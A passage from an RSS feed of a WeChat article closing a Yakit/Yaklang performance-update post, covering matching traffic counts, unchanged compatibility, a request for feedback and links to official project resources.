mpa-font-style="msha7wog5et" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">在正式对比样本中，生产、代理、数据库和前端最终展示的流量数量保持一致，最终积压为 0，并且没有出现重复、乱序或无法恢复的流量事件。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 2 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">六、<span textstyle="" style="letter-spacing: 1px;">兼容性保持不变</span></span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" mpa-font-style="msha7wog1qrf" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">本轮优化</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">没有</span><span textstyle="" style="letter-spacing: 1px;">要求用户</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">迁移数据库</span><span textstyle="" style="letter-spacing: 1px;">，也没有破坏现有 protobuf、插件接口或 HTTPFlow 数据格式。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wog1iq4" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">性能优化不是单纯让某个数字更好看，而是让抓包、滚动、切换和停止任务时的每一次操作都</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">更快、更稳、更符合直觉。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="msha7wog1xay"><span leaf="">欢迎大家继续反馈真实使用中的高并发和大流量场景，我们会持续完善 Yakit 与 Yaklang 的性能体验。</span></span></p><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px auto;padding: 10px 0px 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC NEW&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;border: 1px solid rgb(255, 156, 25);background-color: rgb(255, 251, 239);" data-pm-slice="7 7 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 10px auto; padding: 10px 0px 0px; outline: 0px; max-width: 100%; box-sizing: border-box; overflow-wrap: break-word !important; color: rgba(0, 0, 0, 0.9); font-family: \&#34;PingFang SC NEW\&#34;, system-ui, -apple-system, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif; font-size: 17px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: 0.544px; orphans: 2; text-align: justify; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: -10px 0px 0px;padding: 6px 35px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;background: linear-gradient(to right, rgb(240, 78, 18), rgb(255, 155, 25));clip-path: polygon(0px 0px, 100% 0px, 90% 100%, 10% 100%);"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: center;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 12px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;color: rgb(255, 255, 255);text-align: center;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">END</span></p></div></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 15px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 15px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: flex-start;"><div data-mpa-action-id="mrxdnoohex8" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 25px 0px 6px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 16px;color: rgb(210, 64, 12);text-align: left;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span textstyle="" style="font-weight: bold;">YAK官方资源</span></span></p></div></div><div data-autoskip="1" data-mpa-action-id="mryegmidjp7" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 10px 20px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 14px;color: rgb(51, 51, 51);background-color: transparent;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq1r1c" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yak 语言官方教程：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1jeu" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/docs/intro/" target="_blank">https://yaklang.com/docs/intro/</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhqdti" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit 视频教程：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1tl2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://space.bilibili.com/437503777" target="_blank">https://space.bilibili.com/437503777</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq1c2a" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Github下载地址：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1scc" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://github.com/yaklang/yakit" target="_blank">https://github.com/yaklang/yakit</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq22t3" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit官网下载地址：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq5co" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/" target="_blank">https://yaklang.com/</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhq1ur2" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit安装文档：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhq1gj7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;"><span leaf="" data-nest-level="12" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/products/download_and_install" target="_blank">https://yaklang.com/products/download_and_install</a></span></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhqdoh" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Yakit使用文档：</span></p><p data-nest-level="8" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-nest-level="9" mpa-font-style="mryegmhqqm7" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-size: 13px;"><em data-nest-level="10" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: italic;"><span leaf="" data-nest-level="11" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://yaklang.com/products/intro/" target="_blank">https://yaklang.com/products/intro/</a></span></em></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" mpa-font-style="mryegmhqw0g" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;">Memfit下载地址：</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mryegmhq1p6s" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;"><a href="https://memfit.ai/" target="_blank">https://memfit.ai/</a></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span data-pm-slice="0 0 []" mpa-font-style="mryegmhq1oij" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 13px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:null,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">IRify下载地址：</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;data-website&#34;:&#34;https://www.mdnice.com&#34;,&#34;style&#34;:&#34;margin-right: 0em;margin-bottom: 0px;margin-left: 0em;padding-right: 10px;padding-left: 10px;text-wrap: wrap;outline: 0px;background-color: rgb(255, 255, 255);font-size: 16px;color: black;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, \&#34;PingFang SC\&#34;, Cambria, Cochin, Georgia, Times, \&#34;Times New Roman\&#34;, serif;visibility: visible;&#34;,&#34;data-nest-level&#34;:&#34;2&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;3&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;&#34;,&#34;data-nest-level&#34;:&#34;4&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;padding: 30px;outline: 0px;display: inline-block;width: 656.997px;vertical-align: top;border-style: solid;border-width: 1px;border-color: rgb(255, 129, 36);align-self: flex-start;flex: 0 0 auto;&#34;,&#34;data-nest-level&#34;:&#34;5&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;powered-by&#34;:&#34;xiumi.us&#34;,&#34;style&#34;:&#34;margin-bottom: 10px;outline: 0px;&#34;,&#34;data-nest-level&#34;:&#34;6&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;font-size: 14px;text-align: justify;&#34;,&#34;data-nest-level&#34;:&#34;7&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;outline: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" mpa-font-style="mryegmhqvuf" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-decoration: underline;color: rgb(95, 156, 239);font-style: italic;font-size: 13px;"><a href="https://ssa.to/" target="_blank">https://ssa.to/</a></span></p></div></div></div></div><div style="outline: 0px;" data-nest-level="3"><div data-tools="135编辑器" data-id="121426" style="outline: 0px;font-family: mp-quote, -apple-system-font, Arial, sans-serif;letter-spacing: 0.578px;" data-nest-level="4"><p data-nest-level="5" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6015104398045313" data-s="300,640" data-type="png" data-w="2251" data-imgfileid="100037040" src="https://wechat2rss.xlab.app/img-proxy/?k=3977bf26&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZcGEibOlRNlz6ZPic3cWicMDwdqZLq9q0hibDYiaICia6nncspoDTRnjPXFGTr3VWd9FlV4YSXRStoabxbg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-nest-level="5" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.325" data-type="gif" data-w="1080" data-imgfileid="100036982" src="https://wechat2rss.xlab.app/img-proxy/?k=41e5b736&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZeX0EdicJxBOjGjQuecg0TvCvRgqibPwyOUp8untXs9Cl5XKux2yQQf27ibgZ0ic0Fm2yicdbYg6c4xUJg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7167f159&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MTM4NzIxMQ%3D%3D%26mid%3D2247530049%26idx%3D1%26sn%3D9ba099031919b5f6c2baa0c40374c7ac">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 07 Aug 2026 17:18:00 +0800</pubDate>
    </item>
    <item>
      <title>Yak Runner AI改造：我们教会了AI使用Yaklang编程！</title>
